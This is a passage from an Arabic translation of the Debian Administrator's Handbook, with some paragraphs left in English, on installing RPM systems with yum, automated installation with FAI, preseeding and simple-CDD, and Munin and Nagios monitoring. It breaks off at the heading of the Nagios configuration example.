shutdown لبدء عملية إيقاف تشغيل نظيفة؛

destroy، لإيقاف عمل الجهاز الظاهري قسراً؛

suspend لإيقاف عمله مؤقتاً؛

resume لاستكمال عمله؛

autostart لتفعيل (أو تعطيل، إذا استخدم الخيار --disable) تشغيل الجهاز الظاهري تلقائياً عند إقلاع المستضيف؛

undefine لإزالة كافة آثار الجهاز الظاهري من libvirtd.

جميع هذه الأوامر الفرعية تأخذ الاسم المُعِّرف للجهاز الظاهري كمتغير لها.

12.2.3.5. تثبيت نظام مبني على RPM في دبيان باستخدام yum

إذا كان الجهاز الظاهري سيعمل بنظام دبيان (أو أحد مشتقاته)، يمكن تهيئة النظام باستخدام debootstrap، كما شرحناه سابقاً. أما إذا كان الجهاز الظاهري سيعمل بنظام مبني على RPM (مثل فيدورا، أو CentOS أو Scientific Linux)، يجب إتمام التثبيت باستخدام أداة yum (المتوفرة في الحزمة ذات الاسم نفسه).

تحتاج العملية لاستخدام rpm لاستخراج مجموعة من الملفات، من أهمها ملفات إعداد yum، ثم استدعاء yum لفك الضغط عن بقية الحزم. لكن بما أننا سوف نستدعي yum من خارج chroot، علينا إجراء بعض التغييرات المؤقتة. في المثال التالي، كان chroot الهدف هو /srv/centos.

# rootdir="/srv/centos" # mkdir -p "$rootdir" /etc/rpm # echo "%_dbpath /var/lib/rpm" > /etc/rpm/macros.dbpath # wget http://mirror.centos.org/centos/7/os/x86_64/Packages/centos-release-7-6.1810.2.el7.centos.x86_64.rpm # rpm --nodeps --root "$rootdir" -i centos-release-7-6.1810.2.el7.centos.x86_64.rpm rpm: RPM should not be used directly install RPM packages, use Alien instead! rpm: However assuming you know what you are doing... warning: centos-release-7-6.1810.2.el7.centos.x86_64.rpm: Header V3 RSA/SHA256 Signature, key ID f4a80eb5: NOKEY # sed -i -e "s,gpgkey=file:///etc/,gpgkey=file://${rootdir}/etc/,g" $rootdir/etc/yum.repos.d/*.repo # yum --assumeyes --installroot $rootdir groupinstall core [...] # sed -i -e "s,gpgkey=file://${rootdir}/etc/,gpgkey=file:///etc/,g" $rootdir/etc/yum.repos.d/*.repo

12.3. التثبيت المؤتمت

يحتاج مدراء النظم في شركة فلكوت، كما هو حال مدراء النظم في العديد من شركات الخدمات التقنية الكبيرة، لأدوات تساعدهم على تثبيت (أو إعادة تثبيت) النظام على الأجهزة الجديدة بسرعة، وبصورة آلية إذا أمكن.

يمكن تلبية هذه الحاجة بطيف واسع من الحلول. فالأدوات العامة مثل SystemImager تعالج هذه القضية بإنشاء صورة بالاعتماد على جهاز نموذجي، ثم نشر تلك الصورة على الأجهزة المستهدفة، وعلى النهاية الأخرى من الطيف، هناك برنامج تثبيت دبيان القياسي الذي يمكن تغذيته بملف إعداد يجيب على الأسئلة المطروحة أثناء عملية التثبيت. وكنوع من الحلول الوسط، يمكن استخدام أداة هجينة مثل FAI (‏Fully Automatic Installer) لتثبيت النظام على الأجهزة باستخدام نظام إدارة الحزم، لكنها تستخدم بنية تحتية خاصة بها للمهام المتعلقة بالنشر واسع النطاق massive deployment (مثل الإقلاع، وتقطيع الأقراص، وإعداد النظام وما شابه).

لكل من هذه الأدوات محاسن ومساوئ. يعمل SystemImager بشكل مستقل عن أي نظام حزم معين، وهذا يسمح له بإدارة مجموعات كبيرة من الأجهزة باستخدام عدة توزيعات لينكس مختلفة. كما أنه يتضمن نظام تحديث لا يحتاج إعادة تثبيت النظام، لكن لا يمكن الاعتماد على نظام التحديث هذا إلا إذا لم تعدّل الأجهزة بشكل مستقل؛ أي يجب ألا يحدث المستخدمون وحدهم أي برمجية، كما لا يجب أن يثبتوا برمجيات إضافية. كما يجب عدم أتمتة التحديثات الأمنية، بل يجب أن تمر عبر الصورة المركزية التي يديرها SystemImager. هذا الحل يتطلب أيضًا أن تكون الأجهزة المستهدفة متجانسة، وإلا يجب الاحتفاظ بعدد من الصور المختلفة وإدارتها (صورة i386 لن تتناسب مع جهاز powerpc، وهكذا).

أما التثبيت المؤتمت باستخدام مثبت دبيان فيستطيع التكيف مع خصائص كل جهاز؛ إذ أن المثبت سيجلب النواة والحزم البرمجية المناسبة من المستودعات الموافقة، وسيتعرف على العتاد المتوفر، ويقطع كامل القرص الصلب للاستفادة من كل المساحة التخزينية المتاحة، ثم يثبت نظام دبيان ويعد محمل إقلاع ملائم. لكن المثبت القياسي لا يثبت إلا نسخ دبيان ”القياسية“، التي تحوي النظام الأساسي مع مجموعة من ”المهام“ المحددة مسبقًا؛ وهذا يمنع تثبيت نظام مخصص مع تطبيقات غير محزمة. لتلبية هذا المتطلب بالذات يجب تخصيص المثبت… لحسن الحظ، المثبت تجزيئي كثيراً (modular)، وهناك أدوات لأتمتة معظم العمل المطلوب لهذا التخصيص، أهمها simple-CDD (حيث CDD هي اختصار Custom Debian Derivative—مشتق مخصص من دبيان). وحتى simple-CDD يعالج التثبيت الأولي فقط؛ لكن هذه ليست مشكلة عادة بما أن أدوات APT تسمح بالنشر الفعال للتحديثات لاحقاً.

سوف نقدم شرحاً مقتضبًا فقط عن FAI، وسنتجاوز SystemImager بالكامل (الذي لم يعد متوفراً في دبيان)، وذلك للتركيز أكثر على مثبت دبيان وsimple-CDD، وهي الحلول الأكثر جاذبية عند العمل مع نظم دبيان.

12.3.1. ‏Fully Automatic Installer (FAI)‎

لعل Fully Automatic Installer أقدم نظم النشر المؤتمت لأنظمة دبيان، وهذا ما يفسر ذكر هذه الأداة كثيراً؛ إلا أن طبيعته فائقة المرونة بالكاد تغطي تعقيد استخدامه.

يحتاج FAI لنظام يعمل كمخدم لتخزين معلومات النشر ويسمح للأجهزة المستهدفة بالإقلاع عبر الشبكة. يحتاج هذا المخدم حزمة fai-server (أو fai-quickstart التي تثبت أيضًا العناصر المطلوبة للإعداد القياسي).

يستخدمُ FAI أسلوباً خاصاً لتعريف البروفايلات المتنوعة التي يمكن تثبيتها. بدلاً من النسخ البسيط للنظام المرجعي، يوفر FAI مثبتاً متكاملاً يمكن تخصيصه بالكامل عبر مجموعة من الملفات والسكربتات المخزنة على المخدم؛ لا يتم إنشاء الموقع الافتراضي /srv/fai/config/ آليًا، لذلك يجب أن ينشئه مدير النظام بالإضافة لجميع الملفات اللازمة. في معظم الأحيان تكون هذه الملفات نسخاً مخصصة عن ملفات الأمثلة المتوفرة في الحزمة fai-doc وبالأخص في المجلد /usr/share/doc/fai-doc/examples/simple/.

Once the profiles are defined, the fai-setup command generates the elements required to start a FAI installation; this mostly means preparing or updating a minimal system (NFS-root) used during installation. An alternative is to generate a dedicated boot CD with fai-cd.

لإنشاء كل ملفات الضبط هذه يجب فهم طريقة عمل FAI. تتألف عملية التثبيت النموذجية من الخطوات التالية:

إحضار النواة عبر الشبكة، وإقلاعها؛

ربط نظام الملفات الجذر عبر NFS‏ (nfsroot المذكور سابقاً)؛

تنفيذ /usr/sbin/fai الذ يتحكم بتتمة العملية (أي أن الخطوات التالية سينفذها هذا السكربت)؛

نسخ مساحة الإعداد من المخدم إلى /fai/؛

استدعاء fai-class. سوف تُنفَّذ السكربتات /fai/class/[0-9][0-9]* بالدور، وتعيد أسماء ”الفئات“ (classes) التي يجب تطبيقها على الجهاز الذي تجري عليه عملية التثبيت؛ سوف تعمل هذه المعلومات كأساس للخطوات التالية. هذا يسمح ببعض المرونة في تعريف الخدمات التي سوف تُثبَّت وتُضبَط.

قراءة عدد من متغيرات الضبط، وذلك تبعاً للفئات (classes) المحددة؛

تقسيم الأقراص وتهيئة الأقسام الناتجة، حسب المعلومات المتوفرة في /fai/disk_config/class؛

ربط الأقسام السابقة؛

تثبيت أساس النظام؛

تغذية قاعدة بيانات Debconf باستخدام fai-debconf؛

الحصول على قائمة الحزم المتاحة لأداة APT؛

تثبيت الحزم المذكورة في /fai/package_config/class؛

تنفيذ السكربتات التالية للإعداد، /fai/scripts/class/[0-9][0-9]*؛

حفظ سجلات التثبيت، فصل أقسام الأقراص الصلبة، ثم إعادة الإقلاع؛

12.3.2. تغذية مثبت دبيان

في النهاية، يجب –منطقياً– أن يبقى مُثبِّت دبيان الرسمي أفضل أداة لتثبيت أنظمة دبيان. ولهذا السبب تم تصميم مثبت دبيان منذ البداية للاستخدام المؤتمت، بالاستفادة من مزايا البنية التحتية التي تقدمها debconf. تسمح الأخيرة بتقليل عدد الأسئلة المطروحة من جهة (تأخذ الأسئلة المخفية الإجابات الافتراضية آلياً)، ومن جهة أخرى، توفير الإجابات الافتراضية بشكل مستقل، حتى تتاح إمكانية التثبيت غير التفاعلي. هذه الميزة الأخيرة تعرف باسم preseeding—التغذية، التي تعني ”الإعداد المسبق“ ببساطة.

التعمق أكثر Debconf مع قاعدة بيانات مركزية

تسمح التغذية بالإجابة على أسئلة Debconf التي تطرحها أثناء التثبيت، لكن هذه الأجوبة ثابتة ولا تتطور بمرور الزمن. بما أن النظم المثبتة مسبقًا قد تحتاج للترقية، وقد تطرح أسئلة جديدة أثناء العملية، فيمكن ضبط ملف الإعداد /etc/debconf.conf بحيث تستخدم Debconf مصادر بيانات خارجية (مثل مخدم LDAP directory، أو ملف بعيد تصل إليه عبر NFS أو Samba). يمكن تعريف عدة مصادر خارجية للبيانات في الوقت نفسه، وسوف تكمل هذه المصادر بعضها البعض. ستبقى قاعدة البيانات المحلية قيد الاستخدام (لاستخدامها للقراءة والكتابة)، أما قواعد البيانات الخارجية فتقتصر الصلاحيات فيها على القراءة فقط عادة. تشرح صفحة التعليمات debconf.conf(5)‎ كافة الاحتمالات بالتفصيل (ستحتاج للحزمة debconf-doc).

12.3.2.1. استخدام ملف تغذية

يستطيع المُثبّت الحصول على ملف التغذية من العديد من الأماكن:

من initrd المستخدمة لإقلاع الجهاز، في هذه الحالة، تتم التغذية منذ بداية التثبيت الأولية، وسوف يتم تجاوز جميع الأسئلة. يجب فقط تسمية الملف preseed.cfg وتخزينه في جذر initrd.

من وسيط الإقلاع (CD أو مفتاح USB)؛ وتحدث التغذية فور ربط الوسيط التخزيني، أي مباشرة بعد السؤال عن اللغة وتخطيط لوحة المفاتيح. يمكن استخدام متغير الإقلاع preseed/file للإشارة إلى موقع ملف التغذية (مثلا، /cdrom/preseed.cfg عند التثبيت من قرص CD-ROM، أو /hd-media/preseed.cfg في حال استخدام مفتاح USB).

من الشبكة؛ عندها لا تتم التغذية إلا بعد إعداد الشبكة (الأوتوماتيكي)؛ عندها يجب استخدام متغير الإقلاع preseed/url=http://server/preseed.cfg.

كنظرة أولية، يبدو تضمين ملف التغذية في initrd أنه الحل الأكثر جاذبية؛ لكنه نادراً ما يستخدم عملياً، لأن توليد initrd للمثبت معقد جداً. الحلين الآخرين أكثر انتشاراً بكثير، خصوصًا أنك تستطيع استخدام المتغيرات الإقلاعية كطريق بديل لتغذية الأسئلة الأولى لعملية التثبيت. جرت العادة أن تحفظ هذه المتغيرات في إعدادات isolinux (في حال استخدام CD-ROM) أو syslinux (ذاكرة USB) بدلاً من كتابتها يدوياً عند كل عملية تثبيت.

12.3.2.2. إنشاء ملف التغذية

ملف التغذية هو ملف نصي عادي، كل سطر منه يحوي إجابة لسؤال واحد من أسئلة Debconf. يفصل السطر إلى أربعة أقسام تفصلها مسافات بيضاء (علامة مسافة space أو علامة جدولة tab)، فمثلاً d-i mirror/suite string stable:

الحقل الأول هو ”صاحب“ السؤال؛ تستخدم ”d-i“ للأسئلة المتعلقة بالمثبت، لكن يمكن أن تكتب اسم حزمة للأسئلة التي تطرحها حزم دبيان؛

الحقل الثاني هو معرف للسؤال؛

الثالث، نوع السؤال؛

الحقل الرابع والأخير يحوي قيمة الإجابة. لاحظ أن هذا الحقل يجب فصله عن سابقه بمسافة واحدة؛ وإذا كان هناك أكثر من واحدة ستعتبر المسافات اللاحقة جزءاً من الإجابة.

أبسط طريقة لكتابة ملف تغذية هي تثبيت النظام يدوياً. ثم يعطيك الأمر debconf-get-selections --installer الإجابات المتعلقة بالمثبت. يمكن الحصول على الإجابات المتعلقة بالحزم الأخرى بالأمر debconf-get-selections. لكن الحل الأفضل هو أن تكتب ملف التغذية يدوياً، بالاعتماد على مثال وعلى الوثائق: بهذا الشكل يمكن تغذية الأسئلة التي تحتاج تغيير إجاباتها الافتراضية فقط؛ واستخدام متغير الإقلاع priority=critical سوف يفرض على Debconf أن تطرح الأسئلة الحرجة فقط، وأن تستخدم الإجابات الافتراضية لبقية الأسئلة.

توثيق الملحق في دليل التثبيت

The installation guide, available online, includes detailed documentation on the use of a preseed file in an appendix. It also includes a detailed and commented sample file, which can serve as a base for local customizations.

→ https://www.debian.org/releases/stable/amd64/apb

→ https://www.debian.org/releases/stable/example-preseed.txt

12.3.2.3. إنشاء وسيط إقلاعي مخصص

من الجيد أن يعرف المرء مكان تخزين ملف التغذية، لكن مكان التخزين ليس كل شيء: يجب تعديل وسيط الإقلاع –بشكل أو بآخر– لتغيير متغيرات الإقلاع وإضافة ملف التغذية.

12.3.2.3.1. الإقلاع من الشبكة

When a computer is booted from the network, the server sending the initialization elements also defines the boot parameters. Thus, the change needs to be made in the PXE configuration for the boot server; more specifically, in its /tftpboot/pxelinux.cfg/default configuration file. Setting up network boot is a prerequisite; see the Installation Guide for details.

→ https://www.debian.org/releases/stable/amd64/ch04s05

12.3.2.3.2. تحضير ذاكرة USB إقلاعية

بعد تجهيز الذاكرة الإقلاعية (انظر قسم 4.1.2, “الإقلاع من مفتاح USB”)، يجب تنفيذ بعض العمليات الإضافية. على فرض أن محتويات الذاكرة متاحة في /media/usbdisk/:

انسخ ملف التغذية إلى /media/usbdisk/preseed.cfg

حرر الملف /media/usbdisk/syslinux.cfg وأضف المتغيرات الإقلاعية اللازمة (انظر المثال التالي).

مثال 12.2. ملف syslinux.cfg وبارامترات التغذية

default vmlinuz append preseed/file=/hd-media/preseed.cfg locale=en_US.UTF-8 keymap=us language=us country=US vga=788 initrd=initrd.gz --

12.3.2.3.3. إنشاء صورة CD-ROM

ذاكرة USB هي وسيط تخزين يقبل القراءة والكتابة، لذلك كانت إضافة الملف إليها وتعديل بعض المتغيرات فيها عملية سهلة. لكن في حالة استخدام CD-ROM، فالعملية معقدة أكثر، لأننا نحتاج توليد صورة ISO كاملة. هذه المهمة تحتاج الأداة debian-cd، لكن استخدام هذه الأداة مزعج نوعًا ما: تحتاج الأداة لمرآة محلية، كما تحتاج لفهم جميع الخيارات في /usr/share/debian-cd/CONF.sh؛ وحتى بعد ذلك، يجب استدعاء make عدة مرات. عليك إذن قراءة /usr/share/debian-cd/README.

تعمل debian-cd دائماً بنفس الأسلوب: يتم توليد مجلد ”صورة“ فيه محتويات القرص الليزري نفسها، ثم يحوّل إلى ملف ISO بأداة مثل genisoimage أو mkisofs أو xorriso. يُختَم المجلد بعد الخطوة make image-trees التابعة لحزمة debian-cd. عند هذه النقطة، سوف نزرع ملف التغذية في المجلد المناسب (عادة $TDIR/$CODENAME/CD1/، حيث ‎$TDIR و$CODENAME هما متغيران يعرفهما ملف الإعداد CONF.sh). تستخدم الأقراص الليزرية isolinux كمحمل للإقلاع، ويجب ضبط ملف الإعداد ليتناسب مع ما ولدته debian-cd، وإدخال متغيرات الإقلاع المطلوبة (الملف المقصود هو $TDIR/$CODENAME/boot1/isolinux/isolinux.cfg). بعدها يمكن متابعة العملية ”الاعتيادية“، ويمكننا توليد صورة ISO بالأمر make image CD=1 (أو make images إذا كنا سنولد عدة CD-ROMs).

12.3.3. ‏Simple-CDD: كل الحلول في حل واحد

ببساطة إن استخدام ملف التغذية لا يكفي لتلبية كافة المطالب التي قد تظهر عند النشر واسع النطاق. وبالرغم أنه يمكن تنفيذ بضعة سكربتات عند نهاية عملية التثبيت العادية، إلا أن مجموعة الحزم التي ستثبت ليست مرنة بما يكفي (أساساً لا يمكن إلا اختيار ”المهام“)؛ وأهم من هذا، لا يمكن إلا تثبيت حزم دبيان الرسمية، ولا يسمح بالحزم المولدة محليًا.

وعلى صعيد آخر، تستطيع debian-cd دمج الحزم الخارجية، كما يمكن توسيع مثبت دبيان بإدخال خطوات جديدة في عملية التثبيت. بجمع هذه الإمكانيات، يفترض أن نستطيع إنشاء مثبت مخصص يلبي حاجاتنا؛ بل يفترض أن يتمكن أيضًا من ضبط بعض الخدمات بعد تثبيت الحزم المطلوبة. لحسن الحظ، هذه ليست فرضية بلا برهان، بل هي وظيفة Simple-CDD (في الحزمة simple-cdd) تماماً.

الهدف من Simple-CDD هو السماح لأي شخص بإنشاء توزيعة مشتقة من دبيان بسهولة، بتحديد مجموعة جزئية من الحزم المتوفرة، وإعدادها مسبقاً باستخدام Debconf، وإضافة برمجيات معينة، وتنفيذ سكربتات مخصصة عند نهاية عملية التثبيت. هذا يوافق فلسفة ”نظام التشغيل العالمي“، حيث يستطيع أي شخص تعديله ليناسب حاجاته الشخصية.

12.3.3.1. تعريف البروفايلات

يعرف Simple-CDD ”بروفايلات“ تقابل مفهوم ”الفئات – classes“ في FAI، ويمكن إعطاء الجهاز عدة بروفايلات (تُحدَّد أثناء التثبيت). يعرف البروفايل بمجموعة من ملفات profiles/profile.*:

ملف .description يحوي سطراً واحداً يصف البروفايل؛

ملف .packages يسرد أسماء الحزم التي ستثبت تلقائيًا عند تحديد هذا البروفايل؛

ملف .downloads يسرد أسماء الحزم التي ستخزن على وسيط التثبيت، لكن لا يشترط تثبيتها؛

ملف .preseed يحوي معلومات التغذية لأسئلة Debconf (للمثبت أو للحزم)؛

ملف .postinst يحوي سكربتًا يعمل عند نهاية التثبيت؛

أخيراً، ملف .conf يسمح بتعديل بعض متغيرات Simple-CDD اعتماداً على البروفايلات التي ستضمَّن في الصورة.

البروفايل default له دور خاص، لأنه محدد دوماً؛ ولذلك يحوي الحد الأدنى المطلوب لعمل Simple-CDD. الشيء الوحيد الذي يخصص عادة في هذا البروفايل هو متغير التغذية simple-cdd/profiles: هذا يسمح بتفادي طلب Simple-CDD تحديد البروفايل الذي يريد تثبيته من المستخدم.

لاحظ أيضًا أنه يجب استدعاء الأوامر من المجلد الأب للمجلد profiles.

12.3.3.2. إعداد واستخدام build-simple-cdd

نظرة سريعة ملف إعداد مفصل

هناك مثال عن ملف إعداد Simple-CDD فيه كل المتغيرات الممكنة، مضمن في الحزمة (/usr/share/doc/simple-cdd/examples/simple-cdd.conf.detailed.gz). يمكن استخدام هذا الملف كنقطة انطلاق عند إنشاء ملفات إعداد مخصصة.

يحتاج Simple-CDD للكثير من المتغيرات ليعمل بشكل كامل. غالبًا ما تجمع هذه المتغيرات في ملف إعداد، وبعدها نمرره للأمر build-simple-cdd بالخيار --conf، لكن يمكن أيضاً تحديد قيم هذه المتغيرات باستخدام بارمترات خاصة تعطى للأمر build-simple-cdd. إليك نظرة عامة عن عمل هذا الأمر، وعن تأثير متغيراته المختلفة:

يحدد المتغير profiles البروفايلات التي ستضمن في صورة CD-ROM المولدة؛

اعتماداً على قائمة الحزم المطلوبة سوف ينزل Simple-CDD الملفات المناسبة من المخدم المذكور في server، ويجمعها في مرآة جزئية (التي ستعطى لاحقًا إلى debian-cd).

تدمج الحزم المخصصة المذكورة في local_packages أيضًا في هذه المرآة المحلية؛

بعدها تستدعى debian-cd (ويستخدم موقع افتراضي يمكن تعديله بالمتغير debian_cd_dir)، وتعطى قائمة بالحزم المراد دمجها؛

بعدما جهزت debian-cd المجلد، تطبق Simple-CDD بعض التعديلات عليه:

تضاف الملفات التي تحوي البروفايلات إلى مجلد فرعي باسم simple-cdd (وسوف يظهر في القرص النهائي)؛

تضاف الملفات الأخرى المذكورة في المتغير all_extras أيضًا؛

تضبط متغيرات الإقلاع لتفعيل التغذية. يتم تفادي الأسئلة عن اللغة والبلد إذا كانت المعلومات المطلوبة مخزنة في المتغيرين language وcountry.

تولد debian-cd صورة ISO النهائية.

12.3.3.3. توليد صورة ISO

Once we have written a configuration file and defined our profiles, the remaining step is to invoke build-simple-cdd --conf simple-cdd.conf. After a few minutes, we get the required image in images/debian-10-amd64-CD-1.iso.

12.4. المراقبة

المراقبة هي مصطلح عام، ونشاطات المراقبة المتنوعة لها أهداف عدة: فمن ناحية أولى، تسمح متابعة استهلاك موارد الحاسب بتوقع الإشباع والتطويرات اللاحقة له؛ ومن ناحية أخرى، فإن تنبيه مدير النظام فور خروج إحدى الخدمات عن العمل أو عدم عملها بشكل صحيح يعني أن إصلاح المشاكل التي تحدث قد يتم أبكر.

يغطي Munin الناحية الأولى، من خلال عرض مخططات بيانية للقيم التاريخية لعدد من المتغيرات (الذاكرة المستخدمة، مساحة القرص المحجوزة، حمل المعالج، نشاط الشبكة، حمل Apache/MySQL، وهكذا). أما Nagios فيغطي الناحية الأخرى، من خلال التحقق المنتظم من عمل الخدمات وتوفرها، وإرسال تنبيهات عبر القنوات المناسبة (بريد إلكتروني، رسائل نصية، وهكذا). لكل منهما تصميم تجزيئي يسهل إنشاء إضافات جديدة لمراقبة متغيرات أو خدمات محددة.

بدائل Zabbix، أداة مراقبة متكاملة

Although Munin and Nagios are in very common use, they are not the only players in the monitoring field, and each of them only handles half of the task (graphing on one side, alerting on the other). Zabbix, on the other hand, integrates both parts of monitoring; it also has a web interface for configuring the most common aspects. It has grown by leaps and bounds during the last few years, and can now be considered a viable contender. On the monitoring server, you would install zabbix-server-pgsql (or zabbix-server-mysql), possibly together with zabbix-frontend-php to have a web interface. On the hosts to monitor you would install zabbix-agent feeding data back to the server.

→ https://www.zabbix.com/

بدائل Icinga، مشتق من Nagios

Spurred by divergences in opinions concerning the development model for Nagios (which is controlled by a company), a number of developers forked Nagios and use Icinga as their new name. Icinga is still compatible — so far — with Nagios configurations and plugins, but it also adds extra features.

→ https://www.icinga.org/

12.4.1. إعداد Munin

يهدف Munin لمراقبة العديد من الأجهزة؛ وبالتالي، من الطبيعي أن يعتمد بنية مخدم/عميل. يجمع المستضيف المركزي –راسم البيانات (the grapher)– المعطيات من جميع حواسيب المراقبة، ويولد المخططات البيانية الزمنية.

12.4.1.1. إعداد الأجهزة للمراقبة

الخطوة الأولى هي تثبيت الحزمة munin-node. تنصت الخدمة التي تثبتها هذه الحزمة إلى المنفذ 4949 وترد بإرسال البيانات التي تجمعها كافة الملحقات الفعالة. كل ملحق هو برنامج بسيط يعيد وصفاً للبيانات التي يجمعها بالإضافة إلى آخر قيمة مقاسة. تخزن الملحقات في /usr/share/munin/plugins/، لكن لا تستخدم منها إلا التي لها رابط رمزي في المجلد /etc/munin/plugins/.

When the package is installed, a set of active plugins is determined based on the available software and the current configuration of the host. However, this autoconfiguration depends on a feature that each plugin must provide, and it is usually a good idea to review and tweak the results by hand. Browsing the Plugin Gallery[4] can be interesting even though not all plugins have comprehensive documentation. However, all plugins are scripts and most are rather simple and well-commented. Browsing /etc/munin/plugins/ is therefore a good way of getting an idea of what each plugin is about and determining which should be removed. Similarly, enabling an interesting plugin found in /usr/share/munin/plugins/ is a simple matter of setting up a symbolic link with ln -sf /usr/share/munin/plugins/plugin /etc/munin/plugins/. Note that when a plugin name ends with an underscore “_”, the plugin requires a parameter. This parameter must be stored in the name of the symbolic link; for instance, the “if_” plugin must be enabled with a if_eth0 symbolic link, and it will monitor network traffic on the eth0 interface.

Once all plugins are correctly set up, the daemon configuration must be updated to describe access control for the collected data. This involves allow directives in the /etc/munin/munin-node.conf file. The default configuration is allow ^127\.0\.0\.1$, and only allows access to the local host. An administrator will usually add a similar line containing the IP address of the grapher host, then restart the daemon with systemctl restart munin-node.

التعمق أكثر إنشاء ملحقات محلية

Munin does include detailed documentation on how plugins should behave, and how to develop new plugins.

→ http://guide.munin-monitoring.org/en/latest/plugin/writing.html

أفضل اختبار للملحق هو عند تشغيله في الظروف نفسها التي يعمل فيها عندما تستدعيه الخدمة munin-node؛ ويمكن محاكاة هذا باستدعاء الأمر munin-run plugin بصلاحيات الجذر. إذا تم تمرير متغير ثان لهذا الأمر (مثل config) فسوف يعطى للملحق كمتغير.

عند استدعاء الملحق مع المتغير config، عليه توصيف نفسه عبر إعادة زمرة من الحقول:

$ sudo munin-run load config graph_title Load average graph_args --base 1000 -l 0 graph_vlabel load graph_scale no graph_category system load.label load graph_info The load average of the machine describes how many processes are in the run-queue (scheduled to run "immediately"). load.info 5 minute load average

The various available fields are described by the “Plugin reference” available as part of the “Munin guide”.

→ https://munin.readthedocs.org/en/latest/reference/plugin.html

عند استدعاء الملحلق دون أي متغيرات، سوف يعيد آخر قيمة مقاسة ببساطة؛ مثلاً، تنفيذ sudo munin-run load سوف يعيد القيمة load.value 0.12.

أخيراً، عند استدعاء الملحق مع المتغير autoconf، عليه أن يعيد ”yes“ (مع حالة الخروج—exit status ‏0) إذا كان تفعيل الملحق واجباً على هذا المستضيف، أو ”no“ (مع حالة الخروج 1) في الحالة المعاكسة.

12.4.1.2. إعداد راسم البيانات

”راسم البيانات“ هو ببساطة حاسوب يجمع البيانات ويولد الرسوم البيانية الموافقة. البرنامج المطلوب متوفر في الحزمة munin. يشغل الإعداد الافتراضي munin-cron (مرة كل 5 دقائق)، الذي يجمع البيانات من كافة الأجهزة المذكورة في /etc/munin/munin.conf (المستضيف المحلي هو الوحيد المذكور افتراضيًا)، ويحفظ البيانات التاريخية في ملفات RRD (‏Round Robin Database، وهي صيغة ملفات مصممة لحفظ البيانات التي تتغير مع الزمن) محفوظة في /var/lib/munin/ ويولد صفحة HTML تحوي المخططات البيانية في المجلد /var/cache/munin/www/.

يجب إذن ذكر جميع الأجهزة المراقبة في ملف الضبط /etc/munin/munin.conf. كل جهاز يذكر في قسم كامل مع اسم يقابل الجهاز ومدخلة address واحدة على الأقل هي مدخلة العنوان التي تعطي عنوان IP المناسب.

[ftp.falcot.com] address 192.168.0.12 use_node_name yes

يمكن أن تصبح الأقسام معقدة أكثر وتضاف إليها معلومات وصف مخططات بيانية إضافية لتوليدها بجمع البيانات من عدة أجهزة. العينات الموفرة في ملف الضبط هي نقاط بدء جيدة للتخصيص.

آخر خطوة هي نشر الصفحات المولدة؛ وهذا يحتاج إعداد مخدم وب حتى تتاح محتويات /var/cache/munin/www/ على موقع وب. سيكون الوصول لهذا الموقع مقيَّداً غالباً، إما باستخدام نظام مصادقة أو بتقييد الوصول حسب عناوين IP. انظر قسم 11.2, “مخدم الوب (HTTP)” لمزيد من التفاصيل.

12.4.2. إعداد Nagios

لا يشترط Nagios تثبيت أي شيء على الأجهزة المراقبة بخلاف Munin؛ بل يستخدم Nagios –معظم الأحيان– للتحقق من توفر الخدمات الشبكية. مثلاً، يمكن أن يتصل Nagios بمخدم الوب ويتحقق أنه يستطيع الحصول على صفحة وب معينة خلال مدة زمنية محددة.

12.4.2.1. التثبيت

The first step in setting up Nagios is to install the nagios4 and monitoring-plugins packages. Installing the packages configures the web interface and the Apache server. The authz_groupfile and auth_digest Apache modules must be enabled, for that execute:

# a2enmod authz_groupfile Considering dependency authz_core for authz_groupfile: Module authz_core already enabled Enabling module authz_groupfile. To activate the new configuration, you need to run: systemctl restart apache2 # a2enmod auth_digest Considering dependency authn_core for auth_digest: Module authn_core already enabled Enabling module auth_digest. To activate the new configuration, you need to run: systemctl restart apache2 # systemctl restart apache2

Adding other users is a simple matter of inserting them in the /etc/nagios4/hdigest.users file.

Pointing a browser at http://server/nagios4/ displays the web interface; in particular, note that Nagios already monitors some parameters of the machine where it runs. However, some interactive features such as adding comments to a host do not work. These features are disabled in the default configuration for Nagios, which is very restrictive for security reasons.

Enabling some features involves editing /etc/nagios4/nagios.cfg. We also need to set up write permissions for the directory used by Nagios, with commands such as the following:

# systemctl stop nagios4 # dpkg-statoverride --update --add nagios www-data 2710 /var/lib/nagios4/rw # dpkg-statoverride --update --add nagios nagios 751 /var/lib/nagios4 # systemctl start nagios4

12.4.2.2. الضبط

The Nagios web interface is rather nice, but it does not allow configuration, nor can it be used to add monitored hosts and services. The whole configuration is managed via files referenced in the central configuration file, /etc/nagios4/nagios.cfg.

قبل الغوص في هذه الملفات، يجب فهم بعض مفاهيم Nagios. يشمل الإعداد مجموعة من الأنواع المختلفة من الكائنات:

host (المستضيف) هو الجهاز الذي ستتم مراقبته؛

hostgroup هي مجموعة من المستضيفين يجب تجميعهم معاً عند العرض، أو لتجميع بعض الإعدادات المشتركة؛

service (الخدمة) هي عنصر قابل للقياس متعلق بمستضيف أو بمجموعة من المستضيفين. الغالب أنها فحص لخدمة شبكية ما، لكن يمكن أن تشمل اختبار متغيرات أخرى أيضًا والتحقق أن قيمها ضمن مجال مقبول (مثلاً، مساحة القرص الحرة أو حمل المعالج)؛

servicegroup هي مجموعة من الخدمات التي يجب تجميعها معاً عند العرض؛

contact هو شخص يتلقى التنبيهات؛

contactgroup مجموعة من الأشخاص الذين يتلقون التنبيهات؛

timeperiod الفاصل الزمني بين كل عملية تحقق من بعض الخدمات؛

command هو سطر من الأوامر يستدعى للتحقق من خدمة معينة.

لكل كائن عدد من الخصائص (تختلف حسب نوعه) التي يمكن تعديلها. لا يمكن أن نضع قائمة كاملة بها لكثرتها، لكن أهم الخصائص هي العلاقات بين الكائنات.

تستخدم الخدمة (service) أمراً (command) للتحقق من حالة ميزة على مستضيف (host) معين (أو مجموعة hostgroup) خلال فاصل زمني (timeperiod). في حال حدوث مشكلة، يرسل Nagios تنبيهاً لجميع أعضاء contactgroup المرتبطة بتلك الخدمة. يرسل التنبيه لكل عضو وفقاً لقناة الاتصال المحددة في كائن contact المقابل له.

An inheritance system allows easy sharing of a set of properties across many objects without duplicating information. Moreover, the initial configuration includes a number of standard objects; in many cases, defining new hosts, services and contacts is a simple matter of deriving from the provided generic objects. The files in /etc/nagios4/conf.d/ are a good source of information on how they work.

يستخدم مديرو النظم في شركة فلكوت الإعداد التالي:

مثال 12.3. /etc/nagios4/conf.d/falcot.cfg file

